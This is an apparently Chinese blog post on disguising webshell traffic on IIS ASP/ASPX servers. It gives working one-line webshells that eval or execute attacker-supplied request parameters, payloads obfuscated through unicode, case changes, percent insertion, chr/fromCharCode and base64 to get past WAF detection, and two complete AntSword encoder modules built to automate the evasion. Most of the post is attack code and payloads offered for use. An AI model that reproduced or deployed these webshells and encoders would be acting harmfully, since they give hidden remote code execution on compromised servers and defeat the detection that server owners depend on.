ASP/ASPX下的流量混淆

今天谈一谈ASP/ASPX下的流量混淆姿势。

以执行Response.Write("yzddmr6")为例。

利用iis解析unicode的特性,我们可以像sql的bypass一样来用unicode编码绕过。

img

img

1
mr6=Response.Write("yzddmr6")

蚁剑中aspx类型shell默认有unicode编码器,但是asp中没有,可以自己手动添加一份。

asp对于大小写不敏感,所以可以对payload中的字符进行大小写变换。

1
mr6=REsponSe.WriTe("yzddmr6")

img

要注意的是aspx对大小写敏感,改变大小写之后会500。

img

熟悉sql注入bypass的同学应该知道,iis+asp允许在每个字符前加一个%,此处同理。

img

1
mr6=R%e%sp%o%n%se.w%ri%te("yzddmr6")

有eval的情况下,无非是找找字符串变换函数来回套娃。

asp下用chr函数+&连接

img

1
mr6=eval(chr(82)%26chr(101)%26chr(115)%26chr(112)%26chr(111)%26chr(110)%26chr(115)%26chr(101)%26chr(46)%26chr(87)%26chr(114)%26chr(105)%26chr(116)%26chr(101)%26chr(40)%26chr(34)%26chr(121)%26chr(122)%26chr(100)%26chr(100)%26chr(109)%26chr(114)%26chr(54)%26chr(34)%26chr(41))

img

aspx下用String.fromCharCode+逗号连接

1
mr6=eval(String.fromCharCode(82,101,115,112,111,110,115,101,46,87,114,105,116,101,40,34,121,122,100,100,109,114,54,34,41),"unsafe")

asp下用&连接字符串,demo同chr函数

aspx用+或者concat函数连接字符串

1
2
mr6=eval('Respons'%2B'e.Write("yzddmr6")',"unsafe")
mr6=eval('Respons'.concat('e.Write("yzddmr6")'),"unsafe")
1
mr6=eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("UmVzcG9uc2UuV3JpdGUoInl6ZGRtcjYiKTs=")),"unsafe");

asp

1
eval(unescape("%25%35%32%25%36%35%25%37%33%25%37%30%25%36%66%25%36%65%25%37%33%25%36%35%25%32%65%25%35%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%32%32%25%37%39%25%37%61%25%36%34%25%36%34%25%36%64%25%37%32%25%33%36%25%32%32%25%32%39"))

以上都是针对于基础类型的shell的流量混淆方法,如果不在最外层再套娃一次的话还是很容易被识别,这里给出几个demo。

shell

1
2
<%@ Page Language="Jscript"%>
<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["mr6"])),"unsafe");%>

可以按照https://yzddmr6.tk/posts/webshell-venom-aspx/ 这篇文章做一下免杀

base64_bypass编码器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
//
// aspx::base64_bypass 编码模块
// 把所有参数都进行base64编码
// author:yzddmr6
'use strict';
module.exports = (pwd, data, ext = null) => {
  let randomID;
  if (ext.opts.otherConf['use-random-variable'] === 1) {
    randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
  } else {
    randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
  }
  data[randomID] = Buffer
    .from(data['_'])
    .toString('base64');
  data[pwd] = Buffer.from(`eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${randomID}"])),"unsafe");`).toString('base64');
  delete data['_'];
  return data;
}

img

shell

1
<%execute(unescape(request("mr6")))%>

url_bypass编码器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
/**
 * asp::url_bypass 编码器
 * 双重url编码
 * author: yzddmr6
 * <%execute(unescape(request("mr6")))%>
 */
'use strict';
module.exports = (pwd, data) => {
    function str2url(str) {
        var ret = "";
        for (var i = 0; i < str.length; i++) {
          ret += "%"+str[i].charCodeAt().toString(16);
        }
        return ret;
      }
    data[pwd] = `asunescape(${str2url(str2url(data['_']))})`;
    delete data['_'];
    return data;
}

img

个人推荐的做法还是类似随机cookie编码器那种一次一密的做法,不过可能asp/aspx实现起来不像php那么方便,有空了研究一下。

上面所提到的编码方式可以相互套娃,效果可能更佳。

如果其他想法后面再补上,此贴长期更新。